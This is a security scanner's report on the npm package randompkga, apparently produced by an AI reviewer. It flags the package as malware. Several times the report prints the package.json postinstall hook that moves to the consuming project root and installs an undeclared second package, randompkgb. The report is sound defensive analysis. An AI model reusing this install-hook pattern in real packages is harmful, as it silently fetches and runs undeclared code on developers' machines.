registry / randompkga / 1.0.10

randompkga@1.0.10

AI Security Review

scanned 2h ago · by lpm-firewall-ai

On npm install, the package changes to the consuming project root and installs randompkgb outside its declared dependency graph. This creates an unconsented staged payload path.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall

Impact

Installs and executes a separately resolved package during installation.

Mechanism

project-root npm install of undeclared package

Attack narrative

Installing randompkga invokes its postinstall hook. The hook leaves node_modules/randompkga, runs npm i randompkgb at the consumer project root, and returns. This bypasses normal manifest dependency declaration and delegates install-time execution to a separately fetched package.

Rationale

The install hook performs an undeclared, project-root package installation, a concrete staged-payload mechanism. No benign package functionality or source explains this behavior.

Evidence

package.json../..../../node_modules/randompkgb

Decision evidence

public snapshot

AI called this Malicious at 94.0% confidence as Malware with low false-positive risk.

Evidence for block

postinstall escapes the package directory and runs npm i randompkgb in the consuming project.
The second package is not declared as a dependency, causing an unconsented install-time payload fetch.

Evidence against

Package contains only package.json; no runtime source, network code, or credential harvesting was found.
No exact network endpoint is present in package source.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

4 flagged

package.jsonView file

Lines 1-14json

2 "name": "randompkga",

3 "version": "1.0.10",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "cd ../.. && npm i randompkgb && cd node_modules/randompkga"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L7

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Suspicious Lifecycle Evidence

postinstall escapes the package directory and runs npm i randompkgb in the consuming project.

package.jsonView on unpkg · L6

9 "keywords": [],

10 "author": "",

11 "license": "ISC",

12 "type": "commonjs"

High

Suspicious Dependency Evidence

The second package is not declared as a dependency, causing an unconsented install-time payload fetch.

package.jsonView on unpkg · L1

13}

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = cd ../.. && npm i randompkgb && cd node_modules/randompkga

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = cd ../.. && npm i randompkgb && cd node_modules/randompkga

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "cd ../.. && npm i randompkgb && cd node_modules/randompkga" }

High

Suspicious Lifecycle Evidence

postinstall escapes the package directory and runs npm i randompkgb in the consuming project.

package.jsonView on unpkg · L6

1{ "name": "randompkga", "version": "1.0.10", "description": "", "main": "index.js", "scripts": { "postinstall": "cd ../.. && npm i randompkgb && cd node_modules/randompkga" }, "keywords": [], "author": "", "license": "ISC", "type": "commonjs" }

Findings

1 Critical3 High1 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Dependency Evidencepackage.json

LowScripts Present